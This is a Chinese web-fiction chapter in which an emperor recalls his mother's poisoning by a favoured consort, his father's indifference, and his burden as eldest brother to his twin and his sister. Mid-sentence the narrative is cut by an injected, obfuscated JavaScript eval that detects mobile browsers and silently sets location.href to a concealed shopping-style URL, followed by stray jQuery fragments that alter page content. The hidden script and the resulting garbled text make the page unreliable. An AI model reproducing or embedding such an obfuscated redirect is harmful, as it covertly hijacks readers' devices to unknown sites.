若地位与权力会带来一场又一场的离别，那我也甘之如饴。


    我头一个真正失去的人，是我母妃。


    她活着的时候，我还不懂这句话。我那时只觉得，宫里的人都很会看脸色，见着得宠的人，声音都要亮些，腰也弯得更深些，到了我们这一处，礼数倒也齐全，真心却少。


    母妃住的地方偏，冬天炭少，夏天冰也少，窗纸旧了，宫人也懒得勤换，风一过，便有细细的响。她从不在我面前抱怨这些，只管把衣裳穿得整整齐齐，头发梳得一丝不乱，见了谁都还是那副温温静静的样子。她总同我说，再乱也不能乱了自己，自己一乱，旁人更瞧不起你。


    我那时不服。


    我觉得她总是在忍耐，把许多委屈都藏进了心里。可我后来坐到这个位置上，再回头看她，才知道她不是不恨，也不是不委屈，她只是比我更早明白，一个女人在宫里，若手里没有能压得住人的东西，闹也没用，哭也没用，发作起来，也不过叫人看一场笑话。


    母妃一共给父皇生了三个孩子。我在前，弟弟只比我晚出生几分钟，妹妹最小。若按孩子心性算，我同弟弟原该是一样大的，闹也该一起闹，偷懒也该一起偷懒。可从我记事起，我便总是那个要先坐端正的人。先生来时，母妃先看我字写得齐不齐，弟弟背错了书，她也是先让我去盯着他重背。妹妹夜里做了噩梦，哭着不肯睡，母妃倚在榻上叫的也是我，说你去哄哄她。连宫人都这样，见着我们兄弟两个，总是先喊我，再喊弟弟。只晚了那几分钟，我却像平白大了许多岁。


    我小时候是怨过的。


    弟弟跑得比我快，闹起来也比我更有劲。他惹出事，母妃看他一眼，最后总还是把目光落到我身上。那眼神我到今日都记得，像在说，你是哥哥。我明明也还是个孩子，听见这话，心里总是不高兴的。妹妹又极黏人，见了我总爱追着跑，叫我替她摘花，替她拿风车，替她把那只会说话的八哥从架子上放下来。她若摔了，奶娘要先请罪，我也要跟着挨母妃一眼。宫里的人都觉着这本是天经地义，长子就该担得多些，做兄长的就该护着弟妹。那时我不懂，只觉得这身份像一件给我穿上的袍子，又宽大又沉重，脱也脱不下来。弟弟还能赖在母妃怀里闹一闹，我却不成。我一靠过去，母妃摸摸我的头，问的多半是今日的书温到哪里了，弟弟写的那页字你可看过了，妹妹这几日咳得少些没有。


    我心里不是没有过那点不平，可每回抬头看见母妃的脸，那点不平便又下去了。她其实也还很年轻，在这宫里，她一边护着我们，一边还要在那一层层眼色里撑出体面来。她若连我都不倚一点，又还能倚谁。


    所以我很早便学会了替她分担。


    我记得弟弟背书总爱偷工减料，念到一半眼睛便往窗外跑。我便搬张小凳坐他旁边，一句一句盯着他念。妹妹嫌药苦，躲在屏风后不肯出来，也是我把她抱出来，捏着她的鼻子喂。她喝完了哭，我还得从袖子里摸出早藏好的糖给她。那时我嘴上常嫌她烦，嫌弟弟更烦，可真到了夜里，三个人挤在母妃榻边，听她叫我们背书、认字、讲宫里哪一位长辈见了该怎么行礼时，我心里又是踏实的。那时候我总以为，只要我们三个都在，母妃也在，这日子便是幸福。


    可宫里不让。


    害死母妃的那位妃子，手段称得上老套。她得宠，家里也势大，父兄都在前朝有位置，连父皇见了她家的人，说话也要缓一缓。她看不上母妃，看不上我们这宫里的所有人。碍眼的缘故，我后来想过许多回，未必真因为父皇有多喜欢母妃，多半只是因为母妃什么都不争，却偏偏能把我们三个养得规规整整。那位妃子自己膝下空，又爱把满宫人都踩在鞋底，见着谁屋里孩子安生，心里便犯堵。


    她头一回伸手，是借宫花。


    节下新贡的花送到各宫，她偏挑了一匣给母妃，说这颜色衬她。母妃戴了半日，夜里手臂和后颈便起了疹。太医来看，说是偶感风热。那时我年纪还小，只觉得这病来得怪。可第二回、第三回再来，我便知道不是巧合，是有人有意为之的。后来她又借着关怀，送来补身的羹汤，说母妃气色不好，正该养一养。那一盏汤下去，母妃夜里吐了两回，唇色都变了。


    我那时最天真的地方，是还盼着父皇看出来。


    母妃病得最重那几日，父皇来过两回。头一回坐了小半个时辰，听太医回话，皱了皱眉，赏了两支参，叫人好生照看。第二回来时，那位宠妃身边的嬷嬷恰好也在殿外，我隔着帘子都看见了她袖口的花纹。父皇自然也看见了，他只是淡淡一眼，什么都没问。那一刻我便明白了，他不是不知道，他是装作不知道。在他心里的秤上，母妃这条命放上去，压不过那妃子身后的权势。


    我从那时起便懂了，宫里最怕的不是有人作恶，最怕的是作恶的人背后站着能叫皇帝也不敢妄动的人。你明明看见了，明明知道是谁，明明晓得她是怎么一步一步把人逼死，可只要她父兄还在前朝替皇帝撑着什么，皇帝便能把这一切都当作没发生过。


    于是我后来看人看事便总是想得太多，我不是天生多疑，我只是太早明白，即使坐在这至高的皇位之上，我的耳中却听不到一句真话，眼前看不到一寸真实的江山，我不敢尽情去爱，也不能随意去恨，满朝文武的叩拜，不过是在叩拜他们心中的利益，而我不过是一个被华丽谎言层层包裹的囚徒。


    母妃病重后，弟弟还是傻傻的。


    他只知道母妃总在睡，醒着的时候越来越少，抱不了他，也顾不上看他背书了。他起先还闹，扯着我的袖子问母妃是不是又不舒服，问为什么太医来了这么多回，人却不见好。我有一回心里烦得厉害，差点冲他发火。可话到了嘴边，瞧见他那张和我几乎一模一样的脸，终究还是咽了回去。我只说，别闹，叫母妃歇一歇。他抿着嘴站在那里，站了一会儿，忽然低声问我一句：“哥，母妃会不会死？”我听见这话，眼泪差点出来，我不过比他早出生几分钟，连自己的情绪都还不能控制，却还得先看着他，安慰他，说不会。


    妹妹就更小一些。她怕药味，也怕母妃那时的脸色。有一阵她总躲在我身后，见了端药的宫人便往后缩。夜里她不肯睡，抱着小枕头坐在榻边，一坐就坐很久。母妃清醒时，见她那样，总还要勉强笑一下，说我们小公主最懂事。妹妹听了，眼泪却先掉下来。她是这宫里最不该那么早学会看脸色的人，可她偏偏也学会了。母妃一咳，她便不说话；我一沉脸，她也不敢闹。如今我再想起那阵子，心里最难受的，倒不是我自己熬得有多苦，是我们三兄妹都一下子变了，变得不像孩子了。


    母妃临到最后那阵子，人已经瘦得脱了形。


    她有时看着我，会看很久，像是想把我的脸牢牢记住。她也看弟弟，看妹妹，眼神一寸一寸地过去，像是在给自己留什么。那几日她说话越来越慢，精神好些的时候，还是要叫我们认字、背书。我原先嫌她心狠，后头才明白，她不是心狠，她是没别的可给我们了，她能给的只剩这点东西。


    她最后一回把我们三个都叫到榻前，是在一场雨夜。


    外头的雨打着窗纸，声响很碎。殿里灯不亮，照得她脸色发灰。她先叫宫人都退远，只留下一个老嬷嬷在帘外守着。她抬手，先把我叫过去。那只手已经瘦得厉害，搭在我腕上，却还是用了点力。她看着我，说棣昤，你要照看好照看好弟弟妹妹，你是哥哥。


    这话我从小听到大。偏偏在那一刻母妃的声音进入耳里时，母妃的手也狠狠地攒住了我的心。我想说我也还小，我也怕，我也未必照看得好。可我终究什么都没说，只点了头。母妃看着我，又说了一句，你别像我一样没用…


    后来许多人都说，我是从那一晚之后变了。


    其实哪里是变，不过是最后一个能让我当孩子的人死了罢了。


    母妃的死，终究没有轰鸣与呼喊，只有夜色下微弱的烛光与阴影在墙上摇曳。我从榻边站起来时，弟弟和妹妹就在我后头。弟弟眼睛通红，却死死咬着牙，不让自己哭出来。妹妹靠着我的袖子，小小的一团，肩还在抖。那一瞬间我心里忽然生出一种极怪的感觉。明明我也不过是个孩子，明明我只是比弟弟早了那么一会儿出来，明明我也想扑到母妃身上去哭，想问她为什么一定是我，为什么偏偏是我来记住这些。可母妃看着我，弟弟看着我，妹妹也看着我，于是我便只能站直。像有一只手在背后把我往前推，叫我从那一夜起便不能再往后缩。


    这事后来也一直留在我身上。


    许多人说长兄天生便该懂事，便该扛得多些。我心里却清楚，哪有什么天生的懂事，都是被逼出来的。


    我后来待我的皇子们，许多地方都比旁人看得更仔细，便有这一层缘故。我不肯把他们丢在一处，只看谁最狠、谁最会争。我记每个人的脾性，谁急，谁缓，谁心窄，谁能容，谁读


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17622378|203305||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    书踏实，谁心思缜密。


    有人劝我不必这样费神，说皇子多了，自有能者出来。我每回听见，都只觉得腻烦。什么叫自有能者出来？不过是叫他们自己去撕，去争，去把好好的兄弟情分磨成杀红眼的仇人。


    没人比我更清楚这样教育孩子最后会有什么后果。


    我不说这些，旁人自然也看不透。


    他们夸我待皇子们公平，夸我记性好，连哪个孩子小时候爱吃什么都记得。我听着也不过一笑。那不是因为我格外疼他们，是我太知道，一个孩子若从小便只看见争，看见母亲拿自己去搏宠，看见兄弟之间谁先多得了一眼看重，长大之后多半就只剩一颗往上抢的心。这样的人坐到高处，眼里装不下天下，只装得下猜忌。我不肯让他们都长成那样。里头当然也有我的私心，我不想再在这宫里，看见另一个像我，另一个像弟弟，另一个像妹妹。


    母妃死后，那个害她的人依旧风光。


    她照旧梳最亮的发，戴最重的钗，照旧站在父皇身边，笑得像什么都没发生过。宫里的人也照旧围着她转，连给她提裙角都比旁处勤。我每见她一回，心里那股恨便重一分。可我从来没有当面扑上去，没有指着她骂一句。许多人后来觉得我少年时便沉得住气，以为我天生便是做皇帝的料。我心里知道，没有权力，一切挣扎都是可笑的徒劳。


    我以母妃的安息，换取自保与未来的筹码。


    母妃一走，我反而越发用功。


    我在父皇跟前更懂事，书也读得更刻苦，见了长辈，礼一分都不错。我的傻弟弟有时还会嫌我死板，说我活得像个小老头。我听见也只当没听见。他还能说这样的话，便说明我是成功的。妹妹后来也爱躲在我这边，谁若说她一句，她先来看我的脸。那时我已晓得，所谓长兄的责任，不只是保护，而是一种无声的锁链。弟弟的存在，是我不可逃避的牵绊；妹妹的笑声，是我必须守护的约束。即便他们年幼，即便他们纯真，他们的每一分安全，都要以我的痛苦为代价。


    母妃其实没什么用。


    她护不住自己，也护不住我们。她没能叫父皇替她做主，没能叫那个害她的人付出代价，没能替弟弟留下一片清净，也没能替妹妹挡住风雨。她只会把衣裳穿整齐，把头发梳平，把委屈咽下去，再把我们三个叫到身边，一遍一遍教我们读书、行礼、做人。她以为这样便够了。


    自然是不够的。


    在这座宫里，这些东西一样也不够。


    但我也明白，一个没有宠爱、没有强势母族、没有足够分量的女人，纵然再温柔，再谨慎，再肯忍耐，别人想害她时，她也什么都做不了。


    但她是我的母妃，她给我缝过冬日里贴身的小衣。针脚很细，贴在身上并不硌人。她也曾在弟弟背不出书时故意叹气，等弟弟低下头，她又悄悄朝我眨一下眼，意思是叫我别真骂他。妹妹摔坏了父皇赏的小玉兔，吓得躲在帘后哭，母妃会一面叫人把碎玉收起来，一面说小孩子手滑，玉兔自己也该小心些。


    她什么也护不住，却也真把我们护在怀里过。那怀里不宽厚也不温暖，可我曾经在那里睡着过。小时候夜里惊醒，我一睁眼，先看见的便是她低头看我的脸。她的手会落在我额上，轻轻一碰，说别怕，母妃在。


    后来她不在了。


    有时候夜深，我仍会想起她。


    想起她在雨夜里抓着我的腕子，叫我照看弟弟和妹妹。想起她说别像她一样没用。想起她明明已经快撑不住了，还要问我今日的书读的如何。那时候我心里很烦，觉得她到了最后还不肯放过我，连一会儿软弱都不准我有。


    但我都做到了。我照看好了弟弟妹妹，我登上了最高位，我把后宫管理的井井有条。可弟弟妹妹仍旧一个个离我远去，陷害我的手段越来越难辨，宫中再没有人真心待我。


    我不该想这些。


    帝王记事，只该写得失，写成败，写人心如何用，权柄如何握。写到母亲，至多也该说一句慈训在耳、朕不敢忘。


    我的母妃…


    妈妈…


    妈妈…


    若冥界真有相逢之日，你见了我，大约先要问弟弟好不好，妹妹好不好，再问我有没有长进。


    可我想问你一句。


    我有达成你的期待吗？


    妈妈，若你还认得我，请你告诉我，我这一生换来的东西，够不够抵过你那一场离去。